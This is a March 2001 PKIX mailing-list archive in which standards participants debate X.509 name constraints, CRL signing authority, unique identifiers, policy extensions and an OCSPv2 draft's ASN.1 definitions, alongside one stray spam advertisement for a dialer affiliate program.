number) and having them issue cross certificates (with name constraints and
any other fancy stuff). This avoids the problem of having many trust anchors
with various name constraints, which must be replaced manually if the
constraints change (due to marketing, mergers, etc.)."

I am a little bit puzzled with your suggestion. Usually a given application
trusts an anchor to isssue names for some organizations. But another
application may chooose to apply different rules. So this is not a pure
decision from the CA, otherwise the application would have to evaluate these
name constraints before accepting them. 

So I have difficulties to see how the original name contraints could be
handled by using the cross certificates you mention. Whatever, this seems to
be only a suggestion. :-)

Denis
 
> Dave


Received: from mailb.telia.com ([e-mail] [194.22.194.6]) by above.proper.com (8.9.3/8.9.3) with ESMTP id JAA08341 for <[e-mail]>; Mon, 5 Mar 2001 09:00:25 -0800 (PST)
Received: from d1o69.telia.com (d1o69.telia.com [62.20.144.241]) by mailb.telia.com (8.9.3/8.9.3) with ESMTP id SAA06268 for <[e-mail]>; Mon, 5 Mar 2001 18:00:20 +0100 (CET)
Received: from mega (t2o69p33.telia.com [62.20.144.153]) by d1o69.telia.com (8.10.2/8.10.1) with SMTP id f25H0Ja25389 for <[e-mail]>; Mon, 5 Mar 2001 18:00:20 +0100 (CET)
Message-ID: <000d01c0a595$84474fb0$[e-mail]>
From: "Anders Rundgren" <[e-mail]>
To: "PKIX-List" <[e-mail]>
Subject: CMS SignerInfo algorithm OIDs
Date: Mon, 5 Mar 2001 17:58:34 +0100
MIME-Version: 1.0
Content-Type: text/plain; charset="iso-8859-1"
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.50.4133.2400
X-MIMEOLE: Produced By Microsoft MimeOLE V5.50.4133.2400
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by above.proper.com id JAA08344

Hi
I just wonder if there is any one out there who can tell which 
CMS SignerInfo algorithm OIDs are valid and how they are to be formatted.
Some seem to have an additional parameter NULL that un practical implementations
often is not defined.

Any links or refs would be appreciated


Regards
Anders Rundgren




Received: from email.nist.gov (email.nist.gov [129.6.2.7]) by above.proper.com (8.9.3/8.9.3) with ESMTP id IAA06569 for <[e-mail]>; Mon, 5 Mar 2001 08:06:15 -0800 (PST)
Received: from krdp2 (krdp2.ncsl.nist.gov [129.6.54.107]) by email.nist.gov (8.9.3/8.9.3) with ESMTP id LAA29404 for <[e-mail]>; Mon, 5 Mar 2001 11:06:13 -0500 (EST)
Message-Id: <[e-mail]>
X-Sender: [e-mail]
X-Mailer: QUALCOMM Windows Eudora Pro Version 4.2.2 
Date: Mon, 05 Mar 2001 11:06:02 -0500
To: [e-mail]
From: "David A. Cooper" <[e-mail]>
Subject: Re: Open Issue in Part1: path length constraints
In-Reply-To: <p0501041bb6c5d7ea1b39@[128.33.4.39]>
References: <[e-mail]> <[e-mail]> <[e-mail]> <[e-mail]> <[e-mail]> <[e-mail]> <[e-mail]>
Mime-Version: 1.0
Content-Type: multipart/alternative; boundary="=====================_3814377==_.ALT"

--=====================_3814377==_.ALT
Content-Type: text/plain; charset="us-ascii"

Steve,

You are right that RFC 2459 seems to be somewhat careless in its use of the term CA. However, X.509 seems to be more clear:

(1) Certification Authority is defined as "An authority trusted by one or more users to create and assign public-key certificates."

(2) For the basicConstraints extension, it states: "The cA component indicates if the certified public key may be used to verify certificate signatures."

(3) For the cRLDistributionPoints extension, it states: "The cRLIssuer component identifies the authority that issues and signs the CRL."

So X.509, when defining CAs, doesn't seem to say anything about CRLs and also uses the term authority instead of certification authority to describe the entity that signs a CRL.

At 06:29 PM 3/2/01 -0500, Stephen Kent wrote:
>>X.509 states "[t]he cA component indicates if the certified public key may be used to verify certificate signatures". It says nothing about CRLs. Similarly, as you note, RFC 2459 ties keyCertSign to CA certificates but does do so with cRLSign. Are you arguing that we should change the standards to require basicConstraints with cA=TRUE in certificates that only authorize the use of the subject's public key to verify signatures on CRLs? Or are you suggesting that a certificate should be treated as a CA certificate if cRLSign is set in keyUsage even if basicConstraints is absent?
>
>I have always expected to see the CA flag set to true on a cert used to sign CRLs, but, as I noted in my message, a closer look at 2459 fails to require that. Still, throughout most of the document we see references to CAs, not to EEs, with regard to CRL signing. If there was an intent to allow non-CAs to sign CRLs, we certainly did not make it clear.
>
>Until we had the KeyUsage extension and the the certSign bit in v3 certs, there was no doubt that only a CA could sign a CRL. It was not clear to me that X.509, or 2459, made a point of advertising that a feature of this extension, and of indirect CRLs, was to promote the signing of CRLs by other than a CA. Rereading the 259 text, I still have to say that is not a message that comes through.
>
>>To be more specific, if we accept the idea that pathLenConstraint should be computed differently depending on what type of certificate the last one in the path is, should CA1's relying parties accept CRLs issued by CA3 in the certification path below?
>>
>>CA1 ----------------------------> CA2 ----------------------------------> CA3
>>         basicConstraints:                               keyUsage:
>>                 cA=TRUE                                 cRLSign
>>                 pathLenConstraint=0
>>
>>                 keyUsage:                               CRLDistributionPoints:
>>                         keyCertSign, cRLSign            cRLIssuer: CA3
>
>I would say no, if I understand your diagram. First, the cert from CA2 to CA3 does not say that CA3 is a CA! Also, if the distribution point extension is in the cert issued by CA2 to CA3, it is a statement about where to find the CA3 cert if it is ever revoked. If the distribution point were in certs issued by CA2 to EEs, then it would be saying that CA3 would be the issuer of these CRLs. But, look at the text below, from 2459

Yes, I should have CA issuing two certificates: one to an EE with the CRLDistributionPoints extension and the other issued to CA3 with the keyUsage extension.


>5.2.5  Issuing Distribution Point
>    The issuing distribution point is a critical CRL extension  identifies the CRL distribution point for a particular CRL, and it indicates whether the CRL covers revocation for end entity certificates only, CA  certificates only, or a limitied set of reason codes.  Although the extension is critical, conforming implementations are not required to support this extension.
>
>    The CRL is signed using the CA's private key.  CRL Distribution Points do not have their own key pairs.  If the CRL is stored in the X.500 Directory, it is stored in the Directory entry corresponding to the CRL distribution point, which may be different than the Directory entry of the CA.
>
>This explicitly refers to the CRL being signed with a CA private key, not an EE private key.

The quote from 2459 above seems to have been copied from the following statement from X.509. Notice that in X.509, however, it uses the term "CRL issuer" instead of CA.

                 The CRL is signed by the CRL issuer’s key  CRL distribution points do not have
                 their own key pairs. However, for a CRL distributed via the Directory, the CRL
                 is stored in the entry of the CRL distribution point, which may not be the directory
                 entry of the CRL issuer.

So, I would argue that any suggestion in 2459 that only CAs can sign CRLs was as a result of the authors not being sufficiently cautious in their use of terms. I see no reason to reject a CRL simply because the certificate issued to CRL's issuer does not contain basicConstraints with cA=TRUE.

Dave

--=====================_3814377==_.ALT
Content-Type: text/html; charset="us-ascii"

<html>
Steve,<br>
<br>
You are right that RFC 2459 seems to be somewhat careless in its use of
the term CA. However, X.509 seems to be more clear:<br>
<br>
(1) Certification Authority is defined as &quot;An authority trusted by
one or more users to create and assign public-key
certificates.&quot;<br>
<br>
(2) For the basicConstraints extension, it states: &quot;The
<font size=2>cA</font> component indicates if the certified public key
may be used to verify certificate signatures.&quot;<br>
<br>
(3) For the cRLDistributionPoints extension, it states: &quot;The
<font size=2>cRLIssuer</font> component identifies the authority that
issues and signs the CRL.&quot;<br>
<br>
So X.509, when defining CAs, doesn't seem to say anything about CRLs and
also uses the term authority instead of certification authority to
describe the entity that signs a CRL.<br>
<br>
At 06:29 PM 3/2/01 -0500, Stephen Kent wrote:<br>
<blockquote type=cite cite><blockquote type=cite cite>X.509 states
&quot;[t]he<font size=2> cA</font> component indicates if the certified
public key may be used to verify certificate signatures&quot;. It says
nothing about CRLs. Similarly, as you note, RFC 2459 ties keyCertSign to
CA certificates but does do so with cRLSign. Are you arguing that we
should change the standards to require basicConstraints with cA=TRUE in
certificates that only authorize the use of the subject's public key to
verify signatures on CRLs? Or are you suggesting that a certificate
should be treated as a CA certificate if cRLSign is set in keyUsage even
if basicConstraints is absent?</blockquote><br>
I have always expected to see the CA flag set to true on a cert used to
sign CRLs, but, as I noted in my message, a closer look at 2459 fails to
require that. Still, throughout most of the document we see references to
CAs, not to EEs, with regard to CRL signing. If there was an intent to
allow non-CAs to sign CRLs, we certainly did not make it clear.<br>
<br>
Until we had the KeyUsage extension and the the certSign bit in v3 certs,
there was no doubt that only a CA could sign a CRL. It was not clear to
me that X.509, or 2459, made a point of advertising that a feature of
this extension, and of indirect CRLs, was to promote the signing of CRLs
by other than a CA. Rereading the 259 text, I still have to say that is
not a message that comes through.<br>
<br>
<blockquote type=cite cite>To be more specific, if we accept the idea
that pathLenConstraint should be computed differently depending on what
type of certificate the last one in the path is, should CA1's relying
parties accept CRLs issued by CA3 in the certification path below?<br>
<br>
<tt>CA1 ----------------------------&gt; CA2
----------------------------------&gt; CA3<br>
<x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</x-tab>basicConstraints:<x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</x-tab><x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</x-tab><x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</x-tab><x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</x-tab>keyUsage:<br>
<x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</x-tab><x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</x-tab>cA=TRUE<x-tab>&nbsp;</x-tab><x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</x-tab><x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</x-tab><x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</x-tab><x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</x-tab>cRLSign<br>
<x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</x-tab><x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</x-tab>pathLenConstraint=0<br>
<br>
<x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</x-tab><x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</x-tab>keyUsage:<x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</x-tab><x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</x-tab><x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</x-tab><x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</x-tab>CRLDistributionPoints:<br>
<x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</x-tab><x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</x-tab><x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</x-tab>keyCertSign,
cRLSign<x-tab>&nbsp;&nbsp;&nbsp;&nbsp;</x-tab><x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</x-tab>cRLIssuer:
CA3</tt></blockquote><br>
I would say no, if I understand your diagram. First, the cert from CA2 to
CA3 does not say that CA3 is a CA! Also, if the distribution point
extension is in the cert issued by CA2 to CA3, it is a statement about
where to find the CA3 cert if it is ever revoked. If the distribution
point were in certs issued by CA2 to EEs, then it would be saying that
CA3 would be the issuer of these CRLs. But, look at the text below, from
2459</tt></blockquote><br>
Yes, I should have CA issuing two certificates: one to an EE with the
<tt>CRLDistributionPoints extension and the other issued to CA3 with the
keyUsage extension.<br>
<br>
<br>
</tt><font face="Courier, Courier"><blockquote type=cite cite>5.2.5&nbsp;
Issuing Distribution Point</font><br>
&nbsp;&nbsp; The issuing distribution point is a critical CRL
extension&nbsp; identifies the CRL distribution point for a particular
CRL, and it indicates whether the CRL covers revocation for end entity
certificates only, CA&nbsp; certificates only, or a limitied set of
reason codes.&nbsp; Although the extension is critical, conforming
implementations are not required to support this extension.<br>
<br>
&nbsp;&nbsp; The CRL is signed using the CA's private key.&nbsp; CRL
Distribution Points do not have their own key pairs.&nbsp; If the CRL is
stored in the X.500 Directory, it is stored in the Directory entry
corresponding to the CRL distribution point, which may be different than
the Directory entry of the CA.<br>
<br>
This explicitly refers to the CRL being signed with a CA private key, not
an EE private key.</blockquote><br>
The quote from 2459 above seems to have been copied from the following
statement from X.509. Notice that in X.509, however, it uses the term
&quot;CRL issuer&quot; instead of CA.<br>
<br>
<x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</x-tab><x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</x-tab>The
CRL is signed by the CRL issuer’s key&nbsp; CRL distribution points do
not have<br>
<x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</x-tab><x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</x-tab>their
own key pairs. However, for a CRL distributed via the Directory, the
CRL<br>
<x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</x-tab><x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</x-tab>is
stored in the entry of the CRL distribution point, which may not be the
directory<br>
<x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</x-tab><x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</x-tab>entry
of the CRL issuer.<br>
<br>
So, I would argue that any suggestion in 2459 that only CAs can sign CRLs
was as a result of the authors not being sufficiently cautious in their
use of terms. I see no reason to reject a CRL simply because the
certificate issued to CRL's issuer does not contain basicConstraints with
cA=TRUE.<br>
<br>
Dave<br>
</html>

--=====================_3814377==_.ALT--



Received: from [165.227.249.20] (ts028d30.par-nj.concentric.net [216.112.173.138]) by above.proper.com (8.9.3/8.9.3) with ESMTP id OAA19797 for <[e-mail]>; Sun, 4 Mar 2001 14:15:01 -0800 (PST)
Mime-Version: 1.0
X-Sender: [e-mail]
Message-Id: <p05010458b6c847e332eb@[165.227.249.20]>
In-Reply-To: <[e-mail]>
References: <[e-mail]>
Date: Sun, 4 Mar 2001 14:33:17 -0500
To: [e-mail]
From: Paul Hoffman / IMC <[e-mail]>
Subject: RE: I-D ACTION:draft-ietf-pkix-rfc2510bis-03.txt (and rfc2511bis- 01.txt)
Content-Type: text/plain; charset="us-ascii" ; format="flowed"

At 2:31 PM -0500 3/2/01, Carlisle Adams wrote:
>If you (or anyone else reading this) would like to run the modules 
>through a syntax checker and give me a list of the necessary 
>changes, I'd be happy to incorporate them.  My sense, however, from 
>what you've listed below, is that the changes required will be 
>sufficiently minor that they can all be taken care of during the 
>last "48 HOURS NOTICE" editing cleanup window from the RFC Editor. 
>Therefore, I see no reason to hold up progression of either of these 
>documents.

Any change to any code in a document must be made before the document 
is sent to the RFC Editor. If any code is discovered to need changing 
after that time, the RFC Editor should kick it back to the IESG, who 
should ask the authors to fix it.

It is Very Bad to change anything other than minor editorial 
statements during the author review, or to even believe that all the 
authors will be around for the review.

Carlisle: I take it from your comments that you don't think that any 
of Phil's suggestions need to be implemented because no one tripped 
over them. Is that correct? If so, it's fine that we don't make the 
changes, but that is *quite* different than changing them after 
everyone has used the current code for testing.

Phil: do you have evidence that any ASN.1 compiler other than the one 
you listed has problems with the code as it stands now?

--Paul Hoffman, Director
--Internet Mail Consortium


Received: from mail.oakweb.com (mail.oakweb.com [209.233.101.3]) by above.proper.com (8.9.3/8.9.3) with ESMTP id FAA19239 for <[e-mail]>; Sun, 4 Mar 2001 05:23:56 -0800 (PST)
Received: from data ([62.31.239.133]) by mail.oakweb.com (Post.Office MTA v3.5.3 release 223 ID# 0-69676U5500L550S0V35) with SMTP id com; Sun, 4 Mar 2001 05:19:24 -0800
From: "Sex-Dialer Net" <[e-mail]>
Subject: ATTN ALL WEBMASTERS We're Now Paying Out $0.60 per Min, Cum Make $$$$ TODAY!!!
Date: Sun, 4 Mar 2001 05:19:24 -0800
Message-ID: <[e-mail]@data>

We offer 4 Different Dialer Rates, We have THREE of the highest rates within the industry,
 
$0.60 for UK/USA/AUS mins!!!!
 
Check out our rates and compare them with ANY Dialer Program on the Net! We pay every 2 weeks !
 
 
Forgive me for contacting you without your permission.
I have just launched a new Dialer Program which has 3 of the highest $$$ per min, with the largest collection of marketing tools in the industry. Plus we offer 4 different dialers per webmaster. Plus we offer full support via email/ICQ.
If your interested check it out
www.sex-dialer.net
 
If you're not, I'm sorry to have bothered you, but thanks for taking the time to read this.
 
Happy Money-Making
 
Kind Regards
Sex-Dialer.Net



Received: from geos.coastside.net (geos.coastside.net [207.213.212.4]) by above.proper.com (8.9.3/8.9.3) with ESMTP id SAA26040 for <[e-mail]>; Fri, 2 Mar 2001 18:01:30 -0800 (PST)
Received: from heatherdale (dsl-63-194-153-52.coastside.net [63.194.153.52]) by geos.coastside.net (8.11.0/8.11.1) with SMTP id f2321HA25787; Fri, 2 Mar 2001 18:01:17 -0800 (PST)
From: "Michael Myers" <[e-mail]>
To: <[e-mail]>
Cc: <[e-mail]>
Subject: RE: Integration of OCPv2 , DPV & DPD
Date: Fri, 2 Mar 2001 18:07:09 -0800
Message-ID: <[e-mail]>
MIME-Version: 1.0
Content-Type: text/plain; charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2911.0)
In-Reply-To: <[e-mail]>
Importance: Normal
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2314.1300

Peter,

Standard gripe well noted but since we're at least (in my view) another IETF
or so away from this one going to last call there's ample opportunity to
correct it's more egregious abuses of ASN.1.  Thanks for the note.

Mike



> -----Original Message-----
> From: [e-mail] [mailto:[e-mail]]
> Sent: Saturday, March 03, 2001 2:01 PM
> To: [e-mail]
> Cc: [e-mail]
> Subject: Re: Integration of OCPv2 , DPV & DPD
>
>
> "Michael Myers" <[e-mail]> writes:
>
> >I've submitted a new OCSPv2 draft (-02) based on the WG's efforts in San
> >Diego.
>
> Shall we take my standard gripe about unnecessary tagging of
> elements as read?
> (2 in DPVOptions, 1 in PathParameters, 3 in DPDOptions, ie 50-75% of all
> context-specific tags used aren't actually needed).
>
> Peter.
>
>



Received: from prv-mail20.provo.novell.com (prv-mail20.provo.novell.com [137.65.81.122]) by above.proper.com (8.9.3/8.9.3) with SMTP id RAA23240 for <[e-mail]>; Fri, 2 Mar 2001 17:16:29 -0800 (PST)
Received: from INET-PRV-Message_Server by prv-mail20.provo.novell.com with Novell_GroupWise; Fri, 02 Mar 2001 18:16:01 -0700
Message-Id: <[e-mail]>
X-Mailer: Novell GroupWise 5.5.5
Date: Fri, 02 Mar 2001 18:15:52 -0700
From: "Bob Jueneman" <[e-mail]>
To: <[e-mail]>
Cc: <[e-mail]>
Subject: Re: UIDs popping up in new-part1
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Disposition: inline
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by above.proper.com id RAA23241

Steve,

Mea culpa, mea culpa.

I read the message too hastily, and confused subject unique IDs with subject key IDs.  I apologize, and can well understand why my description of a potential use didn't make much sense.

Nonetheless, I agree with Ari Kermaier, that breaking backwards compatibility for purely esthetic reasons is a bad idea, unless we can be absolutely convinced that in fact no one uses them, and never will.

Sorry again of the confusion.

Bob

>>> Stephen Kent <[e-mail]> 03/02/01 10:45AM >>>
Bob,

>I strongly disagree that "nobody uses unique identifiers" or that
>"there's no good reason to retain support of them."  And I even
>more strongly reject the notion that just because it is alleged that no one
>uses them, applications SHOULD reject certificates which disprove
>the allegation!

RFC 2459 has deprecated the use of these fields for some time, so 
this is not a new matter. The current RFC states, in part,:

The subject and issuer unique identifiers are present in the 
certificate to handle the possibility of reuse of subject and/or
issuer names over time.  This profile recommends that names not be
reused for different entities and that Internet certificates not make 
use of unique identifiers.  CAs conforming to this profile SHOULD NOT 
generate certificates with unique identifiers.

  Also, your intentionally obfuscated description of how you might 
want to use them is not consistent with the semantics of the fields, 
as noted above, which were designed to allow disambiguation of certs 
when DNs were reused, NOT to locate certs in the way you allude to. 
As you may recall, the motivation for these fields was a directory 
access control problem caused by bad schema design. We came out 
strongly in the RFC against this hack as a way of fixing the problem.

Steve



Received: from DF-INET-1.dogfoodinternet.com (df-inet1.exchange.microsoft.com [131.107.8.8]) by above.proper.com (8.9.3/8.9.3) with ESMTP id RAA22778 for <[e-mail]>; Fri, 2 Mar 2001 17:08:52 -0800 (PST)
Received: from df-virus2.platinum.corp.microsoft.com ([172.30.236.33]) by DF-INET-1.dogfoodinternet.com with Microsoft SMTPSVC(5.0.2195.2831); Fri, 2 Mar 2001 17:05:40 -0800
Received: from 172.30.236.11 by df-virus2.platinum.corp.microsoft.com (InterScan E-Mail VirusWall NT); Fri, 02 Mar 2001 17:04:47 -0800 (Pacific Standard Time)
Received: from speak.platinum.corp.microsoft.com ([172.30.236.197]) by yuri.dns.microsoft.com with Microsoft SMTPSVC(5.0.2195.2831); Fri, 2 Mar 2001 17:03:26 -0800
X-MimeOLE: Produced By Microsoft Exchange V6.0.4658.0
content-class: urn:content-classes:message
MIME-Version: 1.0
Content-Type: multipart/alternative; boundary="----_=_NextPart_001_01C0A37D.C095A20D"
Subject: Why is Inhibit Any Policy a mandatory extension to support for the client?
Date: Fri, 2 Mar 2001 17:03:26 -0800
Message-ID: <[e-mail]>
X-MS-Has-Attach: 
X-MS-TNEF-Correlator: 
Thread-Topic: Why is Inhibit Any Policy a mandatory extension to support for the client?
Thread-Index: AcCjfb9APjErjUf4Q+upv/+IxLgW7A==
From: "Trevor Freeman" <[e-mail]>
To: "Pkix List (E-mail)" <[e-mail]>
X-OriginalArrivalTime: 03 Mar 2001 01:03:26.0158 (UTC) FILETIME=[C0761EE0:01C0A37D]

This is a multi-part message in MIME format.

------_=_NextPart_001_01C0A37D.C095A20D
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable


Certificate policies is a mandatory to support extension for the client,
but policy mapping is optional, therefore the minimal conformant client
with son of 2459 can only support CA hierarchies with homogeneous
certificate issuance policies and practices. This client does not
support policy mapping therefore can only operate in a controlled
issuance policy environment. We are expecting the need to use the
inhibit any policy extension in such an environment?=20
This does not seem consistent.=20
If the CAs are operating to a homogeneous set of issuance policies, you
can legislate in said policies,  whether a CA can have the all policy
OID or not rather than require the client to support such an extension.=20
Why do we need to mandate support for this extension, in our profile for
such an environment?

Trevor Freeman
Program Manager
Phone: [phone]
Pager: 800-759-8352, id#1631457=20
Pager email: [e-mail]


------_=_NextPart_001_01C0A37D.C095A20D
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2//EN">
<HTML>
<HEAD>
<META HTTP-EQUIV=3D"Content-Type" CONTENT=3D"text/html; =
charset=3Diso-8859-1">
<META NAME=3D"Generator" CONTENT=3D"MS Exchange Server version =
6.0.4658.0">
<TITLE>Why is Inhibit Any Policy a mandatory extension to support for =
the client?</TITLE>
</HEAD>
<BODY>
<!-- Converted from text/rtf format -->
<BR>

<P><FONT SIZE=3D2 FACE=3D"Arial">Certificate policies is a mandatory to =
support extension for the client, but policy mapping is optional, =
therefore the minimal conformant client with son of 2459 can only =
support CA hierarchies with homogeneous certificate issuance policies =
and practices. This client does not support policy mapping therefore can =
only operate in a controlled issuance policy environment. We are =
expecting the need to use the inhibit any policy extension in such an =
environment? </FONT></P>

<P><FONT SIZE=3D2 FACE=3D"Arial">This does not seem consistent. </FONT>

<BR><FONT SIZE=3D2 FACE=3D"Arial">If the CAs are operating to a =
homogeneous set of issuance policies, you can legislate in said =
policies,&nbsp; whether a CA can have the all policy OID or not rather =
than require the client to support such an extension. </FONT></P>

<P><FONT SIZE=3D2 FACE=3D"Arial">Why do we need to mandate support for =
this extension, in our profile for such an environment?</FONT>
</P>

<P><B><FONT SIZE=3D2 FACE=3D"Arial">Trevor Freeman</FONT></B>

<BR><B><FONT SIZE=3D2 FACE=3D"Arial">Program Manager</FONT></B>

<BR><FONT SIZE=3D2 FACE=3D"Arial">Phone: [phone]</FONT>

<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Arial">Pager: 800-759-8352, =
id#1631457 </FONT>

<BR><FONT SIZE=3D2 FACE=3D"Arial">Pager email:<U> =
[e-mail]</U></FONT>
</P>

</BODY>
</HTML>
------_=_NextPart_001_01C0A37D.C095A20D--


Received: from mail.ec.auckland.ac.nz (mail.student.auckland.ac.nz [130.216.35.201]) by above.proper.com (8.9.3/8.9.3) with ESMTP id RAA22316 for <[e-mail]>; Fri, 2 Mar 2001 17:01:14 -0800 (PST)
Received: from kahu.cs.auckland.ac.nz ([e-mail] [130.216.36.13]) by mail.ec.auckland.ac.nz (8.9.3/8.8.6/cs-master) with SMTP id OAA14256; Sat, 3 Mar 2001 14:01:12 +1300 (NZDT) (sender [e-mail])
Received: by kahu.cs.auckland.ac.nz (relaymail v0.9) id <98358127227230>; Sat, 3 Mar 2001 14:01:12 (NZDT)
From: [e-mail] (Peter Gutmann)
To: [e-mail]
Subject: Re:  Integration of OCPv2 , DPV & DPD
Cc: [e-mail]
Sender: [e-mail]
Reply-To: [e-mail]
X-Charge-To: pgut001
X-Authenticated: relaymail v0.9 on kahu.cs.auckland.ac.nz
Date: Sat, 3 Mar 2001 14:01:12 (NZDT)
Message-ID: <[e-mail]>

"Michael Myers" <[e-mail]> writes:

>I've submitted a new OCSPv2 draft (-02) based on the WG's efforts in San
>Diego.

Shall we take my standard gripe about unnecessary tagging of elements as read?
(2 in DPVOptions, 1 in PathParameters, 3 in DPDOptions, ie 50-75% of all
context-specific tags used aren't actually needed).

Peter.



Received: from geos.coastside.net (geos.coastside.net [207.213.212.4]) by above.proper.com (8.9.3/8.9.3) with ESMTP id QAA21411 for <[e-mail]>; Fri, 2 Mar 2001 16:37:26 -0800 (PST)
Received: from heatherdale (dsl-63-194-153-52.coastside.net [63.194.153.52]) by geos.coastside.net (8.11.0/8.11.1) with SMTP id f230bSA21035 for <[e-mail]>; Fri, 2 Mar 2001 16:37:29 -0800 (PST)
From: "Michael Myers" <[e-mail]>
To: <[e-mail]>
Subject: Integration of OCPv2 , DPV & DPD
Date: Fri, 2 Mar 2001 16:43:20 -0800
Message-ID: <[e-mail]>
MIME-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2911.0)
In-Reply-To: <p0501041bb6c5d7ea1b39@[128.33.4.39]>
Importance: Normal
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2314.1300

All,

I've submitted a new OCSPv2 draft (-02) based on the WG's efforts in San
Diego.  This version incorporates the technical content of the OCSP-based
DPD and DPV I-Ds; those I-Ds will be allowed to expire in favor of this
unified specification.  Many thanks to all for your support in refining
those concepts.  A draft document defining the OCSP state machine was also
submitted.  If you wish to receive a copy of either prior to their eventual
appearance on the official IETF web site, please contact me offlist at
[e-mail].

Otherwise, here's a precis:

Pulled in core of the OCSP-based DPV and DPD I-Ds and moved around some
elements of the -01 text to more accurately reflect the
framework+service_type approach the prior three I-Ds and RFC2560 had already
defined.  I made what I hope are useful editorial (i.e. non-normative)
corrections along the way.  I also worked in the minor editorial corrections
we've made to RFC 2560 as it progresses along the standards track.

Accordingly, the Protocol Overview section is totally rewritten.  The only
potential surprise in this section is the abstract definition of Online
Revocation Status (ORS) service as a peer service to DPV and DPD.  ORS
service is simply what's currently in RFC 2560.  So basically we have ORS,
DPV and DPD as standardized OCSP services and a handful of potentially
useful but ancillary extensions (e.g. Archive Cutoff).

The technical definition of the DPV and DPD services were substantially
augmented to conform to the Dec 29 draft requirements definition as well as
the input received from the ad-hoc OCSPv2 working sessions conducted in San
Diego.  I wasn't able to work in all perspectives (some were mutually
exclusive of others) but at present the following is proposed in response to
those inputs:

DPVOptions  :: = SEQUENCE{
    pathParams              PathParameters             OPTIONAL,
    validAt           [2]   GeneralizedTime            OPTIONAL,
    revInfo           [3]   SEQUENCE OF RevocationInfo OPTIONAL,
    dPVFLags          [4]   DPVFlags                   OPTIONAL }

PathParameters ::= SEQUENCE {
    initialPolicySet  [0]   PolicyList                 OPTIONAL,
    trustPoints       [1]   SEQUENCE OF ReqCert        OPTIONAL }

DPVFlags ::= BIT STRING {
    returnpath        (0),
    returnrevinfo     (1),
    returntsp         (2),
    returnpolicy      (3) }

RevocationInfo ::= CHOICE {
    cRL               CertificateList,
    oCSP              OCSPResponse }



DPDOptions  :: = SEQUENCE{
    retryReference          OCTET STRING,
    initialPolicySet  [0]   EXPLICIT PolicyList OPTIONAL,
    trustPoints       [1]   SEQUENCE OF ReqCert OPTIONAL,
    validAt           [2]   GeneralizedTime     OPTIONAL,
    dDPFlags          [3]   DPDFlags            OPTIONAL}

DPDFlags ::=  BIT STRING {
    returnTSP          (0),
    returnpolicy       (1),
    crlonly            (2),
    ocsponly           (3),
    either             (4) }

